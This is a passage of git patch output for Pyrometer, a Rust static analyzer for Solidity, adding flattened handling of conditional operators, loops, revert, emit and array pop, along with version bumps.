(Ok(lhs_fields), Ok(rhs_fields)) = ( - lhs_cvar - .latest_version_or_inherited_in_ctx(ctx, self) - .struct_to_fields(self), - rhs_cvar - .latest_version_or_inherited_in_ctx(ctx, self) - .struct_to_fields(self), - ) { - // assert_eq!(lhs_fields.len(), rhs_fields.len()); - lhs_fields.iter().try_for_each(|field| { - let full_name = field.name(self).unwrap(); - let field_name = full_name - .split('.') - .collect::>() - .last() - .cloned() - .unwrap(); - if let Some(matching_field) = rhs_fields.iter().find(|r_field| { - let r_full_name = r_field.name(self).unwrap(); - let r_field_name = r_full_name - .split('.') - .collect::>() - .last() - .cloned() - .unwrap(); - field_name == r_field_name - }) { - let _ = self.assign( - arena, - loc, - field.latest_version_or_inherited_in_ctx(ctx, self), - matching_field.latest_version_or_inherited_in_ctx(ctx, self), - ctx, - )?; - Ok(()) - } else { - Err(ExprErr::ParseError( - loc, - "Missing fields for struct assignment".to_string(), - )) - } - })?; - - // if !fields.is_empty() { - // fields.into_iter().for_each(|field| { - // lhs_cvar.struc - // let mut new_var = field.underlying(self).unwrap().clone(); - // let field_name = field.name(self).unwrap(); - // let field_name = field_name - // .split('.') - // .collect::>() - // .last() - // .cloned() - // .unwrap(); - // let new_name = format!("{}.{field_name}", lhs_cvar.name(self).unwrap()); - // new_var.name.clone_from(&new_name); - // new_var.display_name = new_name; - // let new_field = ContextVarNode::from(self.add_node(new_var)); - // self.add_edge( - // new_field, - // lhs_cvar.first_version(self), - // Edge::Context(ContextEdge::AttrAccess("field")), - // ); - // }) - // } - } - // advance the rhs variable to avoid recursion issues self.advance_var_in_ctx_forcible( rhs_cvar.latest_version_or_inherited_in_ctx(ctx, self), diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 41461c1c..01e4319f 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -581,6 +581,7 @@ pub trait Flatten: } FunctionCall(loc, func_expr, input_exprs) => match &**func_expr { Variable(Identifier { name, .. }) if matches!(&**name, "require" | "assert") => { + // require(inputs) | assert(inputs) input_exprs.iter().rev().for_each(|expr| { self.traverse_expression(expr, unchecked); }); @@ -589,31 +590,43 @@ pub trait Flatten: self.push_expr(cmp); } _ => { + // func(inputs) input_exprs.iter().rev().for_each(|expr| { self.traverse_expression(expr, unchecked); }); self.traverse_expression(func_expr, unchecked); + + // For clarity we make these variables + let mut is_super = false; + let named_args = false; + let mut num_inputs = input_exprs.len(); match self.expr_stack_mut().pop().unwrap() { FlatExpr::Super(loc, name) => { + is_super = true; self.push_expr(FlatExpr::FunctionCallName( - input_exprs.len(), - true, - false, + num_inputs, is_super, named_args, )); self.push_expr(FlatExpr::Variable(loc, name)); } + mem @ FlatExpr::MemberAccess(..) => { + // member.name(inputs) -> name(member, inputs) so we need + // to make sure the member is passed as an input + num_inputs += 1; + self.push_expr(FlatExpr::FunctionCallName( + num_inputs, is_super, named_args, + )); + self.push_expr(mem); + } other => { self.push_expr(FlatExpr::FunctionCallName( - input_exprs.len(), - false, - false, + num_inputs, is_super, named_args, )); self.push_expr(other); } } - self.push_expr(FlatExpr::FunctionCall(*loc, input_exprs.len())); + self.push_expr(FlatExpr::FunctionCall(*loc, num_inputs)); } }, // member @@ -701,7 +714,6 @@ pub trait Flatten: stack: &mut Vec, ) -> Result<(), ExprErr> { use FlatExpr::*; - if ctx.is_killed(self).unwrap() { return Ok(()); } @@ -926,11 +938,23 @@ pub trait Flatten: unreachable!() }; + let keep_member_on_stack = + matches!(self.peek_expr_flag(), Some(ExprFlag::FunctionName(..))); + let member = ctx .pop_n_latest_exprs(1, loc, self) .into_expr_err(loc)? .swap_remove(0); - self.member_access(arena, ctx, member, name, loc) + + if keep_member_on_stack { + self.member_access(arena, ctx, member.clone(), name, loc)?; + // rearrange member to be in correct location relative to access + let access = ctx.pop_expr_latest(loc, self).unwrap().unwrap(); + ctx.push_expr(member, self).into_expr_err(loc)?; + ctx.push_expr(access, self).into_expr_err(loc) + } else { + self.member_access(arena, ctx, member.clone(), name, loc) + } } fn interp_xxcrement( diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs index 1b3b615b..6e865aac 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs @@ -17,6 +17,7 @@ impl ArrayCaller for T where T: AnalyzerBackend + Sized { /// Perform an `array.<..>` function call + #[tracing::instrument(level = "trace", skip_all)] fn array_call_inner( &mut self, arena: &mut RangeArena>, @@ -68,7 +69,56 @@ pub trait ArrayCaller: AnalyzerBackend + S } } "pop" => { - todo!(); + if inputs.len() != 1 { + return Err(ExprErr::InvalidFunctionInput( + loc, + format!( + "array[].pop() expected 0 inputs, got: {}", + inputs.len().saturating_sub(1) + ), + )); + } + + let [arr] = inputs.into_sized(); + let arr = ContextVarNode::from(arr.expect_single().into_expr_err(loc)?) + .latest_version(self); + + // get length + let len = self + .get_length(arena, ctx, arr, true, loc)? + .unwrap() + .latest_version(self); + + // create a temporary 1 variable + let one = self.add_concrete_var(ctx, Concrete::from(U256::from(1)), loc)?; + + // subtract 1 from the length + let tmp_len = self.op(arena, loc, len, one, ctx, RangeOp::Sub(false), false)?; + + let tmp_len = ContextVarNode::from(tmp_len.expect_single().unwrap()); + tmp_len.underlying_mut(self).unwrap().is_tmp = false; + + // get the index access + let index_access = self + .index_into_array_raw(arena, ctx, loc, tmp_len, arr, false, true)? + .unwrap(); + + self.set_var_as_length(arena, ctx, loc, tmp_len, arr.latest_version(self))?; + index_access + .set_range_min(self, arena, Elem::Null) + .into_expr_err(loc)?; + index_access + .set_range_max(self, arena, Elem::Null) + .into_expr_err(loc)?; + + self.update_array_from_index_access( + arena, + ctx, + loc, + tmp_len, + index_access.latest_version(self), + arr.latest_version(self), + ) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs index 8c992517..8a163357 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs @@ -161,14 +161,7 @@ pub trait TypesCaller: AnalyzerBackend + S if cvar.needs_length(self).into_expr_err(loc)? { // input is indexable. get the length attribute, create a new length for the casted type - let _ = self.create_length( - arena, - ctx, - new_var, - new_var.latest_version(self), - false, - loc, - )?; + let _ = self.get_length(arena, ctx, new_var.latest_version(self), true, loc)?; } ctx.push_expr(ExprRet::Single(new_var.into()), self) diff --git a/crates/solc-expressions/src/member_access/list_access.rs b/crates/solc-expressions/src/member_access/list_access.rs index cce2da7f..8e9e4874 100644 --- a/crates/solc-expressions/src/member_access/list_access.rs +++ b/crates/solc-expressions/src/member_access/list_access.rs @@ -48,6 +48,7 @@ pub trait ListAccess: AnalyzerBackend + Si } } + #[tracing::instrument(level = "trace", skip_all)] fn get_length( &mut self, arena: &mut RangeArena>, @@ -56,13 +57,9 @@ pub trait ListAccess: AnalyzerBackend + Si return_var: bool, loc: Loc, ) -> Result, ExprErr> { - let next_arr = self.advance_var_in_ctx( - array.latest_version_or_inherited_in_ctx(ctx, self), - loc, - ctx, - )?; + let array = array.latest_version_or_inherited_in_ctx(ctx, self); // search for latest length - if let Some(len_var) = next_arr.array_to_len_var(self) { + if let Some(len_var) = array.array_to_len_var(self) { let len_node = self.advance_var_in_ctx( len_var.latest_version_or_inherited_in_ctx(ctx, self), loc, @@ -76,22 +73,30 @@ pub trait ListAccess: AnalyzerBackend + Si Ok(Some(len_node)) } } else { - self.create_length(arena, ctx, array, next_arr, return_var, loc) + self.create_length(arena, ctx, array, return_var, loc) } } + #[tracing::instrument(level = "trace", skip_all)] fn create_length( &mut self, arena: &mut RangeArena>, ctx: ContextNode, array: ContextVarNode, - target_array: ContextVarNode, return_var: bool, loc: Loc, ) -> Result, ExprErr> { // no length variable, create one let name = format!("{}.length", array.name(self).into_expr_err(loc)?); + // we have to force here to avoid length <-> array recursion + let target_arr = self.advance_var_in_ctx_forcible( + array.latest_version_or_inherited_in_ctx(ctx, self), + loc, + ctx, + true, + )?; + // Create the range from the current length or default to [0, uint256.max] let len_min = Elem::from(array) .get_length() @@ -119,28 +124,20 @@ pub trait ListAccess: AnalyzerBackend + Si let len_node = ContextVarNode::from(self.add_node(len_var)); self.add_edge( len_node, - target_array, + target_arr, Edge::Context(ContextEdge::AttrAccess("length")), ); self.add_edge(len_node, ctx, Edge::Context(ContextEdge::Variable)); ctx.add_var(len_node, self).into_expr_err(loc)?; - // we have to force here to avoid length <-> array recursion - let next_target_arr = self.advance_var_in_ctx_forcible( - target_array.latest_version_or_inherited_in_ctx(ctx, self), - loc, - ctx, - true, - )?; - let update_array_len = - Elem::from(target_array.latest_version_or_inherited_in_ctx(ctx, self)) - .set_length(len_node.into()); + let update_array_len = Elem::from(target_arr.latest_version_or_inherited_in_ctx(ctx, self)) + .set_length(len_node.into()); // Update the array - next_target_arr + target_arr .set_range_min(self, arena, update_array_len.clone()) .into_expr_err(loc)?; - next_target_arr + target_arr .set_range_max(self, arena, update_array_len.clone()) .into_expr_err(loc)?; diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index 4706bc02..8178787e 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -1299,8 +1299,8 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { lhs_elem, )); - let new_new_lhs = self.advance_var_in_curr_ctx(new_lhs, loc)?; - let new_new_rhs = self.advance_var_in_curr_ctx(new_rhs, loc)?; + let new_new_lhs = self.advance_var_in_ctx(new_lhs, loc, ctx)?; + let new_new_rhs = self.advance_var_in_ctx(new_rhs, loc, ctx)?; new_new_lhs .set_range_min(self, arena, new_min.clone()) @@ -1333,8 +1333,8 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { let one = Concrete::one(&min_conc.val).expect("Cannot decrement range elem by one"); - let new_new_lhs = self.advance_var_in_curr_ctx(new_lhs, loc)?; - let new_new_rhs = self.advance_var_in_curr_ctx(new_rhs, loc)?; + let new_new_lhs = self.advance_var_in_ctx(new_lhs, loc, ctx)?; + let new_new_rhs = self.advance_var_in_ctx(new_rhs, loc, ctx)?; new_new_lhs .latest_version_or_inherited_in_ctx(ctx, self) @@ -1429,11 +1429,12 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { } tmp.expect_single().into_expr_err(loc)? }); - let new_underlying_lhs = self.advance_var_in_curr_ctx( + let new_underlying_lhs = self.advance_var_in_ctx( tmp_construction .lhs .latest_version_or_inherited_in_ctx(ctx, self), loc, + ctx, )?; if let Some(lhs_range) = new_underlying_lhs .underlying(self) @@ -1656,9 +1657,10 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { e => panic!("here {e:?}"), }; - let new_underlying_rhs = self.advance_var_in_curr_ctx( + let new_underlying_rhs = self.advance_var_in_ctx( rhs.latest_version_or_inherited_in_ctx(ctx, self), loc, + ctx, )?; if let Some(lhs_range) = new_underlying_rhs .underlying(self) diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 2d0cb89c..afa900a4 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -707,35 +707,6 @@ pub trait Variable: AnalyzerBackend + Size Ok(ContextVarNode::from(new_cvarnode)) } - /// Creates a new version of a variable in it's current context - fn advance_var_in_curr_ctx( - &mut self, - cvar_node: ContextVarNode, - loc: Loc, - ) -> Result { - tracing::trace!( - "advancing variable: {}", - cvar_node.display_name(self).into_expr_err(loc)? - ); - if let Some(cvar) = cvar_node.next_version(self) { - panic!( - "Not latest version of: {}", - cvar.display_name(self).unwrap() - ); - } - let mut new_cvar = cvar_node - .latest_version(self) - .underlying(self) - .into_expr_err(loc)? - .clone(); - new_cvar.loc = Some(loc); - - let new_cvarnode = self.add_node(new_cvar); - self.add_edge(new_cvarnode, cvar_node.0, Edge::Context(ContextEdge::Prev)); - - Ok(ContextVarNode::from(new_cvarnode)) - } - /// Clones a variable and adds it to the graph fn advance_var_underlying(&mut self, cvar_node: ContextVarNode, loc: Loc) -> &mut ContextVar { assert_eq!(None, cvar_node.next_version(self)); From 46c6813defb9e4c3f8a76ef3927e91c4474c4df2 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 13:32:11 -0700 Subject: [PATCH 17/52] cond op --- Cargo.lock | 14 ++--- Cargo.toml | 2 +- crates/graph/src/nodes/context/variables.rs | 18 +++++++ crates/graph/src/range/elem/mod.rs | 5 +- .../src/context_builder/flattened.rs | 51 +++++++++++++++++-- 5 files changed, 77 insertions(+), 13 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index af2cf417..b14cd185 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -41,7 +41,7 @@ dependencies = [ [[package]] name = "analyzers" -version = "0.2.0" +version = "0.3.0" dependencies = [ "ariadne", "graph", @@ -390,7 +390,7 @@ checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" [[package]] name = "cli" -version = "0.2.0" +version = "0.3.0" dependencies = [ "analyzers", "ariadne", @@ -911,7 +911,7 @@ checksum = "40ecd4077b5ae9fd2e9e169b102c6c330d0605168eb0e8bf79952b256dbefffd" [[package]] name = "graph" -version = "0.2.0" +version = "0.3.0" dependencies = [ "ethers-core", "hex", @@ -1874,7 +1874,7 @@ dependencies = [ [[package]] name = "pyrometer" -version = "0.2.0" +version = "0.3.0" dependencies = [ "ahash", "analyzers", @@ -1896,7 +1896,7 @@ dependencies = [ [[package]] name = "queries" -version = "0.2.0" +version = "0.3.0" dependencies = [ "analyzers", "ariadne", @@ -2333,7 +2333,7 @@ dependencies = [ [[package]] name = "shared" -version = "0.2.0" +version = "0.3.0" dependencies = [ "ahash", "ethers-core", @@ -2414,7 +2414,7 @@ dependencies = [ [[package]] name = "solc-expressions" -version = "0.2.0" +version = "0.3.0" dependencies = [ "analyzers", "ethers-core", diff --git a/Cargo.toml b/Cargo.toml index 172c831a..8585a698 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -11,7 +11,7 @@ members = [ resolver = "2" [workspace.package] -version = "0.2.0" +version = "0.3.0" edition = "2021" authors = ["Brock Elmore"] license = "MIT OR Apache-2.0" diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index b515c24e..d49d839a 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -292,6 +292,24 @@ impl ContextNode { Ok(ret) } + pub fn kill_if_ret_killed( + &self, + analyzer: &mut impl AnalyzerBackend, + loc: Loc, + ) -> Result { + let underlying = self.underlying(analyzer)?; + if let Some(killed_ret) = underlying + .expr_ret_stack + .iter() + .find(|ret| ret.has_killed()) + { + self.kill(analyzer, loc, killed_ret.killed_kind().unwrap())?; + Ok(true) + } else { + Ok(false) + } + } + /// Pushes an ExprRet to the stack #[tracing::instrument(level = "trace", skip_all)] pub fn push_expr( diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index 0e7a1095..ab16f641 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -244,7 +244,10 @@ impl RangeOp { Gte => Lte, Gt => Lt, Lt => Gt, - _ => return None, + other => { + println!("other:{other:?}"); + return None; + } }; Some(t) } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 01e4319f..dcc937bf 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -547,7 +547,19 @@ pub trait Flatten: self.traverse_expression(ty_expr, unchecked); self.push_expr(FlatExpr::ArrayIndexAccess(*loc)); } - ConditionalOperator(loc, if_expr, true_expr, false_expr) => {} + ConditionalOperator(loc, if_expr, true_expr, false_expr) => { + // convert into statement if + let as_stmt: Statement = Statement::If( + *loc, + *if_expr.clone(), + Box::new(Statement::Expression(true_expr.loc(), *true_expr.clone())), + Some(Box::new(Statement::Expression( + false_expr.loc(), + *false_expr.clone(), + ))), + ); + self.traverse_statement(&as_stmt, unchecked); + } ArraySlice(loc, lhs_expr, maybe_middle_expr, maybe_rhs) => {} ArrayLiteral(loc, _) => {} @@ -586,8 +598,26 @@ pub trait Flatten: self.traverse_expression(expr, unchecked); }); let cmp = self.expr_stack_mut().pop().unwrap(); - self.push_expr(FlatExpr::Requirement(*loc)); - self.push_expr(cmp); + match cmp { + FlatExpr::And(..) => { + // Its better to just break up And into its component + // parts now as opposed to trying to do it later + // i.e.: + // require(x && y) ==> + // require(x); + // require(y); + let rhs = self.expr_stack_mut().pop().unwrap(); + let lhs = self.expr_stack_mut().pop().unwrap(); + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(rhs); + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(lhs); + } + _ => { + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(cmp); + } + } } _ => { // func(inputs) @@ -863,6 +893,12 @@ pub trait Flatten: } }?; + if let Some(loc) = next.try_loc() { + if ctx.kill_if_ret_killed(self, loc).into_expr_err(loc)? { + return Ok(()); + } + } + if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) && !matches!(next, Requirement(..)) { @@ -1059,10 +1095,17 @@ pub trait Flatten: ctx.delete_child(self).into_expr_err(loc)?; // point the parse index of the parent ctx to the true body - ctx.underlying_mut(self).unwrap().parse_idx = parse_idx + true_cond + false_cond; + ctx.underlying_mut(self).unwrap().parse_idx = + ctx.parse_idx(self) + true_cond + false_cond; for _ in 0..true_body { self.interpret_step(arena, ctx, loc, stack)?; } + + // skip false body + self.modify_edges(ctx, loc, &|analyzer, ctx| { + ctx.skip_n_exprs(false_body, analyzer); + Ok(()) + })?; } (false, false) => { // both branches are reachable. process each body From bcfcb6b62b07150aa327375fdfe85fc90c12b497 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 14:27:10 -0700 Subject: [PATCH 18/52] clean up --- crates/shared/src/flattened.rs | 32 +- .../src/context_builder/flattened.rs | 304 ++++++++++++++---- 2 files changed, 275 insertions(+), 61 deletions(-) diff --git a/crates/shared/src/flattened.rs b/crates/shared/src/flattened.rs index 3dbfdc8e..71f25c6a 100644 --- a/crates/shared/src/flattened.rs +++ b/crates/shared/src/flattened.rs @@ -20,6 +20,27 @@ pub enum FlatExpr { false_body: usize, }, + While { + loc: Loc, + condition: usize, + body: usize, + }, + For { + loc: Loc, + start: usize, + condition: usize, + after_each: usize, + body: usize, + }, + Try { + loc: Loc, + try_expr: usize, + }, + + Todo(Loc, &'static str), + + Emit(Loc), + NamedArgument(Loc, &'static str), FunctionCallName(usize, bool, bool), Requirement(Loc), @@ -28,6 +49,7 @@ pub enum FlatExpr { Continue(Loc), Break(Loc), Return(Loc, bool), + Revert(Loc, usize), //, Option<&'static str>, usize), PostIncrement(Loc), PostDecrement(Loc), @@ -80,7 +102,6 @@ pub enum FlatExpr { And(Loc), Or(Loc), - ConditionalOperator(Loc), Assign(Loc), Type(Loc, &'static Type), This(Loc), @@ -294,7 +315,12 @@ impl FlatExpr { use FlatExpr::*; match self { If { loc, .. } + | While { loc, .. } + | For { loc, .. } + | Try { loc, .. } | VarDef(loc, ..) + | Todo(loc, ..) + | Emit(loc, ..) | NamedArgument(loc, ..) | Continue(loc, ..) | Break(loc, ..) @@ -345,7 +371,6 @@ impl FlatExpr { | NotEqual(loc, ..) | And(loc, ..) | Or(loc, ..) - | ConditionalOperator(loc, ..) | Assign(loc, ..) | Type(loc, ..) | This(loc, ..) @@ -362,6 +387,7 @@ impl FlatExpr { | Variable(loc, ..) | Requirement(loc, ..) | Super(loc, ..) + | Revert(loc, ..) | YulExpr(FlatYulExpr::YulVariable(loc, ..)) | YulExpr(FlatYulExpr::YulFuncCall(loc, ..)) | YulExpr(FlatYulExpr::YulAssign(loc, ..)) @@ -458,7 +484,6 @@ impl TryFrom<&Expression> for FlatExpr { NotEqual(loc, ..) => FlatExpr::NotEqual(*loc), And(loc, ..) => FlatExpr::And(*loc), Or(loc, ..) => FlatExpr::Or(*loc), - ConditionalOperator(loc, ..) => FlatExpr::ConditionalOperator(*loc), Assign(loc, ..) => FlatExpr::Assign(*loc), AssignOr(loc, ..) => FlatExpr::AssignOr(*loc), AssignAnd(loc, ..) => FlatExpr::AssignAnd(*loc), @@ -556,6 +581,7 @@ impl TryFrom<&Expression> for FlatExpr { | AssignAdd(_, _, _) | AssignSubtract(_, _, _) | AssignMultiply(_, _, _) + | ConditionalOperator(..) | AssignDivide(_, _, _) => return Err(()), }; Ok(res) diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index dcc937bf..c5ba044c 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -10,14 +10,14 @@ use graph::{ elem::{Elem, RangeOp}, nodes::{ Builtin, Concrete, ConcreteNode, Context, ContextNode, ContextVar, ContextVarNode, - ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, SubContextKind, YulFunction, + ContractNode, ExprRet, FunctionNode, KilledKind, StructNode, YulFunction, }, AnalyzerBackend, ContextEdge, Edge, Node, TypeNode, VarType, }; use shared::{ post_to_site, string_to_static, ElseOrDefault, ExprErr, ExprFlag, FlatExpr, FlatYulExpr, - GraphError, GraphLike, IfElseChain, IntoExprErr, NodeIdx, RangeArena, USE_DEBUG_SITE, + GraphError, IfElseChain, IntoExprErr, RangeArena, USE_DEBUG_SITE, }; use solang_parser::pt::{ CodeLocation, Expression, Identifier, Loc, Statement, YulExpression, YulStatement, @@ -83,7 +83,12 @@ pub trait Flatten: )); } } - Args(_loc, _args) => {} + Args(loc, _args) => { + self.push_expr(FlatExpr::Todo( + *loc, + "Args statements are currently unsupported", + )); + } If(loc, if_expr, true_body, maybe_false_body) => { // 1. Add conditional expressions // 2. Remove added conditional expressions @@ -149,20 +154,104 @@ pub trait Flatten: stack.extend(true_body); stack.extend(false_body); } - While(loc, cond, body) => {} - For(loc, maybe_for_start, maybe_for_middle, maybe_for_end, maybe_for_body) => {} - DoWhile(loc, while_stmt, while_expr) => {} - Expression(loc, expr) => { - self.traverse_expression(&expr, unchecked); + While(loc, if_expr, body) => { + let start_len = self.expr_stack_mut().len(); + self.traverse_expression(if_expr, unchecked); + let cmp = self.expr_stack_mut().pop().unwrap(); + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(cmp); + let cond_exprs = self.expr_stack_mut().drain(start_len..).collect::>(); + let condition = cond_exprs.len(); + + self.traverse_statement(body, unchecked); + let body_exprs = self.expr_stack_mut().drain(start_len..).collect::>(); + let body = body_exprs.len(); + + self.push_expr(FlatExpr::While { + loc: *loc, + condition, + body, + }); + let stack = self.expr_stack_mut(); + stack.extend(cond_exprs); + stack.extend(body_exprs); + } + For(loc, maybe_for_start, maybe_for_cond, maybe_for_after_each, maybe_for_body) => { + let start_len = self.expr_stack_mut().len(); + + let for_start_exprs = if let Some(start) = maybe_for_start { + self.traverse_statement(start, unchecked); + self.expr_stack_mut().drain(start_len..).collect::>() + } else { + vec![] + }; + let start = for_start_exprs.len(); + + let for_cond_exprs = if let Some(cond) = maybe_for_cond { + self.traverse_expression(cond, unchecked); + let cmp = self.expr_stack_mut().pop().unwrap(); + self.push_expr(FlatExpr::Requirement(*loc)); + self.push_expr(cmp); + self.expr_stack_mut().drain(start_len..).collect::>() + } else { + vec![] + }; + let condition = for_cond_exprs.len(); + + let for_after_each_exprs = if let Some(after_each) = maybe_for_after_each { + self.traverse_statement(after_each, unchecked); + self.expr_stack_mut().drain(start_len..).collect::>() + } else { + vec![] + }; + let after_each = for_after_each_exprs.len(); + + let for_body_exprs = if let Some(body) = maybe_for_body { + self.traverse_statement(body, unchecked); + self.expr_stack_mut().drain(start_len..).collect::>() + } else { + vec![] + }; + let body = for_after_each_exprs.len(); + + self.push_expr(FlatExpr::For { + loc: *loc, + start, + condition, + after_each, + body, + }); + let stack = self.expr_stack_mut(); + stack.extend(for_start_exprs); + stack.extend(for_cond_exprs); + stack.extend(for_after_each_exprs); + stack.extend(for_body_exprs); + } + DoWhile(loc, _while_stmt, _while_expr) => { + self.push_expr(FlatExpr::Todo( + *loc, + "Do While statements are currently unsupported", + )); + } + Expression(_, expr) => { + self.traverse_expression(expr, unchecked); } Continue(loc) => { - self.push_expr(FlatExpr::Continue(*loc)); + self.push_expr(FlatExpr::Todo( + *loc, + "continue statements are currently unsupported", + )); + // self.push_expr(FlatExpr::Continue(*loc)); } Break(loc) => { - self.push_expr(FlatExpr::Break(*loc)); + self.push_expr(FlatExpr::Todo( + *loc, + "break statements are currently unsupported", + )); + // self.push_expr(FlatExpr::Break(*loc)); } Assembly { - loc, + loc: _, dialect: _, flags: _, block: yul_block, @@ -178,10 +267,28 @@ pub trait Flatten: self.push_expr(FlatExpr::Return(*loc, maybe_ret_expr.is_some())); } - Revert(loc, _maybe_err_path, _exprs) => {} - RevertNamedArgs(_loc, _maybe_err_path, _named_args) => {} - Emit(_loc, _emit_expr) => {} - Try(_loc, _try_expr, _maybe_returns, _clauses) => {} + Revert(loc, _maybe_err_path, exprs) => { + exprs.iter().rev().for_each(|expr| { + self.traverse_expression(expr, unchecked); + }); + self.push_expr(FlatExpr::Revert(*loc, exprs.len())) + } + RevertNamedArgs(loc, _maybe_err_path, named_args) => { + named_args.iter().rev().for_each(|arg| { + self.traverse_expression(&arg.expr, unchecked); + }); + self.push_expr(FlatExpr::Revert(*loc, named_args.len())); + } + Emit(loc, emit_expr) => { + self.traverse_expression(emit_expr, unchecked); + self.push_expr(FlatExpr::Emit(*loc)); + } + Try(loc, _try_expr, _maybe_returns, _clauses) => { + self.push_expr(FlatExpr::Todo( + *loc, + "Try-Catch statements are currently unsupported", + )); + } Error(_loc) => {} } } @@ -228,7 +335,12 @@ pub trait Flatten: }; self.traverse_yul_if_else(*loc, iec); } - For(yul_for) => {} + For(yul_for) => { + self.push_expr(FlatExpr::Todo( + yul_for.loc, + "Yul for statements are currently unsupported", + )); + } Switch(solang_parser::pt::YulSwitch { loc, condition, @@ -243,13 +355,25 @@ pub trait Flatten: } } Leave(loc) => { - self.push_expr(FlatExpr::Break(*loc)); + self.push_expr(FlatExpr::Todo( + *loc, + "yul 'leave' statements are currently unsupported", + )); + // self.push_expr(FlatExpr::Break(*loc)); } Break(loc) => { - self.push_expr(FlatExpr::Break(*loc)); + self.push_expr(FlatExpr::Todo( + *loc, + "yul 'break' statements are currently unsupported", + )); + // self.push_expr(FlatExpr::Break(*loc)); } Continue(loc) => { - self.push_expr(FlatExpr::Continue(*loc)); + self.push_expr(FlatExpr::Todo( + *loc, + "yul 'continue' statements are currently unsupported", + )); + // self.push_expr(FlatExpr::Continue(*loc)); } Block(block) => { for statement in block.statements.iter() { @@ -295,7 +419,12 @@ pub trait Flatten: FunctionCall(call) => { self.traverse_yul_expression(&YulExpression::FunctionCall(call.clone())); } - Error(loc) => {} + Error(loc) => { + self.push_expr(FlatExpr::Todo( + *loc, + "yul 'error' statements are currently unsupported", + )); + } } } @@ -560,8 +689,18 @@ pub trait Flatten: ); self.traverse_statement(&as_stmt, unchecked); } - ArraySlice(loc, lhs_expr, maybe_middle_expr, maybe_rhs) => {} - ArrayLiteral(loc, _) => {} + ArraySlice(loc, _lhs_expr, _maybe_middle_expr, _maybe_rhs) => { + self.push_expr(FlatExpr::Todo( + *loc, + "array slice expressions are currently unsupported", + )); + } + ArrayLiteral(loc, _) => { + self.push_expr(FlatExpr::Todo( + *loc, + "array literals expressions are currently unsupported", + )); + } // Function calls FunctionCallBlock(loc, func_expr, call_block) => { @@ -770,6 +909,7 @@ pub trait Flatten: ); match next { + Todo(loc, err_str) => Err(ExprErr::Todo(loc, err_str.to_string())), // Flag expressions FunctionCallName(n, is_super, named_args) => { self.set_expr_flag(ExprFlag::FunctionName(n, is_super, named_args)); @@ -793,36 +933,42 @@ pub trait Flatten: self.interp_negatable_literal(arena, ctx, next) } + // Variable VarDef(..) => self.interp_var_def(arena, ctx, next), Type(..) => self.interp_type(arena, ctx, next), - Return(..) => self.interp_return(arena, ctx, next), Variable(..) => self.interp_var(arena, ctx, stack, next, parse_idx), Assign(..) => self.interp_assign(arena, ctx, next), + List(_, _) => self.interp_list(ctx, stack, next, parse_idx), - Not(..) => self.interp_not(arena, ctx, next), - - // Comparator - Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) - | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), - + // Conditional If { .. } => self.interp_if(arena, ctx, stack, next, parse_idx), + Requirement(..) => { + self.set_expr_flag(ExprFlag::Requirement); + Ok(()) + } + // Looping + While { .. } => self.interp_while(arena, ctx, stack, next, parse_idx), + For { .. } => self.interp_for(arena, ctx, stack, next, parse_idx), Continue(loc) | Break(loc) => Err(ExprErr::Todo( loc, "Control flow expressions like break and continue are not currently supported" .to_string(), )), + // Pre and post increment/decrement PostIncrement(loc, ..) | PreIncrement(loc, ..) | PostDecrement(loc, ..) | PreDecrement(loc, ..) => self.interp_xxcrement(arena, ctx, next, loc), - ArrayTy(..) => self.interp_array_ty(arena, ctx, next), + // Array + ArrayTy(..) => self.interp_array_ty(ctx, next), ArrayIndexAccess(_) => self.interp_array_idx(arena, ctx, next), ArraySlice(_) => todo!(), 